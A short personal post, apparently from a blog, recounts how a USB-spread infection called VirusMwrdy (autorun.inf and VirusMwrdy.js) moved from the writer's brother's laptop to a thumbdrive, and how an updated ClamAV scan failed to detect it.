ClamAV not detect VirusMwrdy
This morning , my brother tell me that, his laptop is infected by a virus called VirusMwrdy. I gave him HijackThis and KillBox program to delete those autorun.inf file and VirusMwrdy.js. I plug my thumbdrive to my brother laptop and of course it also got infected.
To my suprise, I plug my thumbdrive to my laptop and run freshclam, to update my clamav and run clamscan, but nothing is detected
